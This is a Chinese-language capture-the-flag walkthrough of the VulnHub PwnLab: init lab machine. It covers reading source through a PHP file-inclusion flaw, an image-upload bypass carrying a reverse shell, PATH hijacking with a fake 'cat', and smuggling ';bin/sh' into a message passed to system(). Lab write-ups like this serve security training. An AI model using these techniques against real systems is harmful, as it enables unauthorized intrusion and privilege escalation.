靶机
https://www.vulnhub.com/entry/pwnlab-init,158/
前期准备
运行环境:VM Workstation,VM Esxi,VirtualBox
将下载的 ova 文件直接导入虚拟机
主机信息
在 VM 中打开导入的虚拟机后,kali 运行命令:
1
|
arp-scan 192.168.32.0/24
|
当前靶机 IP 为 192.168.32.145
服务发现
使用 nmap 对靶机进行扫描
开启 80、3306 等端口
访问 web 服务如下:
结合 Wappalyzer 可知靶机 web 开发语言为 PHP:
而连接 mysql 服务时需要密码
目录探测
使用 dirsearch 扫描web 目录:
1
|
python3 dirsearch.py -u http://192.168.32.145/ -e php,html,js,png,jpg,.txt
|
主要有 config.php、index.php、login.php、upload.php 四个页面
Get Shell
尝试对登录页面进行 sql 注入,最后以失败告终:
很明显上传页面一般是 get shell 的突破口,不过需要先登录,而口令爆破实在是不得已而为之的方法,先不考虑。
查询资料可知,可以尝试利用 PHP 的文件包含漏洞读取服务器的文件。
利用 PHP 伪协议进行读取(PHP 伪协议):
读取 config.php:
http://192.168.32.145/?page=php://filter/read=convert.base64-encode/resource=config
将响应得到的 base64 字符串解码:
1
2
3
4
5
6
|
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
|
可以得到 mysql 的连接用户名与口令
以相同的方式读取其他文件:
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
|
upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>
|
由 upload.php 可知上传文件限制后缀 jpg、jpeg、gif、png,并且作了 MIME 检查
login.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) and isset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}
?>
|
使用读取 config.php 得到的信息登录靶机 mysql,在数据库”Users”中获取登录信息:
看起来是 base64 编码,解码后结果如下:
1
2
3
|
kent:JWzXuBJJNy
mike:SIfdsTEn6I
kane:iSv5Ym2GRo
|
使用其中一个进行登录,到上传页面,将反弹 shell 后缀改为 gif,在 Burp 中拦截请求并添加 gif 头:
响应中得到回显路径:
1
|
upload/3208fd203ca8fdfa13bc98a4832c1396.gif
|
由 upload.php 可知上传的文件以计算文件 MD5 的值作为文件文件名,直接访问后没有解析
在 index.php 还存在一处文件包含:
1
2
3
4
5
6
7
8
9
|
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
|
文件路径可通过设置 cookie 的 lang 进行包含:
在发送请求前,kali nc 监听,Burp 放行请求后得到 shell:
Get Root
尝试切换之前得到的用户,发现 mike 无法切换,权限不够,只能切换至 kent 和 kane
切换到 kent 后 ls -l 什么都没有,kane 则有点意思:
发现文件 msgmike,其为一个 ELF 可执行文件:
执行后:
提示找不到文件 “cat”,那么可以构造一个包含 shell 的 cat:
1
2
3
4
|
echo $PATH
echo '/bin/bash' > cat
chmod +x cat
export PATH=./:$PATH
|
再次执行后:
切换到 mike,在 /home/mike 目录中发现 msg2root:
执行后需要输入给 root 的消息,随便输入试试之后使用 strings msg2root 查看其可打印的字符串:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
mike@pwnlab:/home/mike$ strings msg2root
strings msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Message for root:
/bin/echo %s >> /root/messages.txt
;*2$"(
<snip>
...
|
可以看到输入的消息写入到 /root/messages.txt 中,既然如此,可在消息后加上 /bin/sh,当 echo 执行完后再执行 /bin/sh:
直接输入 ;bin/sh 不废话
得到 root 权限后,进入 root 目录:
cat flag.txt: